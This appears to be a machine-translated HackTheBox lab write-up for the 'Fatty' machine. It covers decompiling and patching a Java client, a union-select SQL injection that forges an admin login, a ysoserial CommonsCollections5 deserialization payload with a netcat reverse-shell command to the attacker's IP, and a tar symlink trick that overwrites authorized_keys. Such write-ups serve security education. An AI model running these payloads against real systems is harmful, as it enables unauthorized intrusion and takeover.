HackTheBox。演练脂肪。反向并重新编译客户端服务器应用程序。Java反序列化



我将继续发布解决方案,以期从HackTheBox平台完成计算机的最终定稿



在本文中,由于反序列化Java对象存在漏洞,我们将在修改和重新编译客户端的同时反转两个Java应用程序,以利用授权期间的SQL注入并在服务器上执行命令。



与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.174,我将其添加到/ etc / hosts中。



10.10.10.174 	fatty.htb


第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500




现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。



nmap -A fatty.htb -p21,22,1337,1338,1339




从nmap扫描中,我们看到匿名ftp登录是可能的,尽管它包含多个注释和一个jar文件。我们下载那里的所有内容。



wget ftp://fatty.htb/*






第一个说明说服务器正在端口1337、1338和1339上运行,并且客户端仍然具有端口8000,需要进行修复。







第二篇文章介绍了客户端窗体上元素的静态布局,以及该客户端使用Java 8。





第三个说明说其中提供了安全性问题和凭据。







让我们开始客户端。



/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar




让我们反编译客户端。我正在使用Intellij IDEA,所以为此安装了java decompiler扩展。只需解压缩jar文件并将目录指定为项目目录即可。在beans.xml文件中,我们找到连接参数。





让我们将本地端口8000投向远程1337。



simpleproxy -L 8000 -R fatty.htb:1337


在这种情况下,我们将在/ etc / hosts中进行输入。



127.0.0.1       server.fatty.htb


这样,所有客户端流量都将被重定向到远程主机。我们开始并登录。







让我们来看看这个应用程序。在所有这些中,您应该停止获取文件列表和读取文件的功能。











但是,当我们尝试读取更多文件时,会出现错误。







唯一的问题是过滤器在哪里。预期需要修补代码,将应用程序反编译为jd-gui并保存。







解压缩后,在Intellij IDEA中将文件夹作为项目打开。



Java重新编译



我们将重新编译应用程序(此方法也适用于混淆的应用程序)。现在让我们完成环境设置。转到“文件”->“项目结构和项目设置”,设置以下设置:SDK版本-java8和将保存编译文件的目录。





接下来,转到“项目模块”,然后在“源”中选择我们感兴趣的目录,其中包含主要代码。





在Dependencies中,添加应用程序jar文件本身。





如您所见,“问题”项旁边的那个消失了。继续。在运行/调试配置中添加应用程序。







由于程序是从Starter类开始的,因此我们将其称为Mainer类。







全部都准备好了。现在转到Invoke类,并在文件列表功能中设置一个断点以更改目录。





现在,我们开始调试,并在此处停止。





并更改文件夹变量的值。









而且有效。我们看到文件列表。让我们找出start.sh文件中的内容。为此,我们将找到用于读取文件并在其中设置断点的函数。





让我们在附录中打开此文件,然后在此处停止。





并更改变量foldername的值。









并且我们成功读取了该文件。





因此,该应用程序代表系统用户qtc运行。为了获得该应用程序,您需要更改代码。让我们添加一个写入文件的函数,以字节为单位获取响应,在base64中对其进行编码,然后将此字符串传递给该函数。





让我们通过应用程序请求文件,在断点处停止并更改路径。





并且文件已成功保存。





cat srv.b64 | base64 -d > fatty-server.jar


服务器刺



在jd-gui中打开服务器应用程序。稍微看一下代码,我们收集了非常有用的信息。例如,数据库连接数据。





以及授权期间对数据库的请求。





因此,基于将从数据库返回的数据为应用程序创建用户。







因此,我们可以发出这样的请求,以便创建我们已知的qtc,但已经具有管理员权限。我们知道他的用户名和密码,但是散列将需要从数据库中返回。让我们计算一下:





我们需要执行如下查询:



SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'


为此,在调试应用程序时,我们将停止登录功能。





并更改变量用户名。



qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin










成功授权后,我们将看到我们的权利,我们将以管理员身份工作。







为了在调试过程中不更改其他任何东西,而是为了不断获得管理访问权限,即使字段为空,我们将更改登录功能。







现在我们已经找到了增加权限的方法,下面让我们看一下新的可用功能并确定进一步的攻击媒介。在服务器代码中,我们坚持在密码更改功能中使用序列化。







让我们在客户端应用程序中找到此功能。







因此,User对象被序列化,base64编码,然后传递到服务器,然后在服务器中解码和反序列化。由于函数的名称为灰色,因此不会在任何地方使用。您可以通过尝试更改密码来验证这一点。







在添加序列化对象作为参数之前,让我们在密码更改函数中放置一个断点。







让我们找到单击“更改”按钮时执行的代码。







让我们添加函数调用。







您可以使用ysoserial来利用数据反序列化中的漏洞首先,让我们定义一个模块。

grep -R Invoke .






因此,我们将使用CommonsCollections。

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0


然后,我们将接收到的负载插入密码更改功能的更改代码中。







执行完应用程序后,我们得到了反向连接。









加载系统枚举脚本之一,例如linpeas。除了在Docker容器中之外,我们没有发现任何有趣的东西。







由于没有发现任何静态信息,因此让我们启动pspy并跟踪正在运行的进程。但是等待了一段时间后,没有发生任何有趣的事情。然后,我通过启动客户端应用程序并关闭它来启动该过程。关闭应用程序后,执行了scp命令。







因此,将复制带有日志的存档。我可以假设它也已经打开包装。让我们一起记录,下载,创建和打包使用ssh键指向文件的链接。







让我们检查存档。







优秀的。现在,让我们打开应用程序,登录,更改日志并关闭应用程序。

mv my.tar /opt/fatty/tar/logs.tar


现在,如果您重复这样的操作,文件的内容将被写入authorized_keys。因此,我们使用ssh-keygen生成了一个密钥对,对应用程序进行了重新制作,并编写了一个公共密钥而不是一个档案。







现在我们可以通过SSH使用私钥进行连接。







您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。



All Articles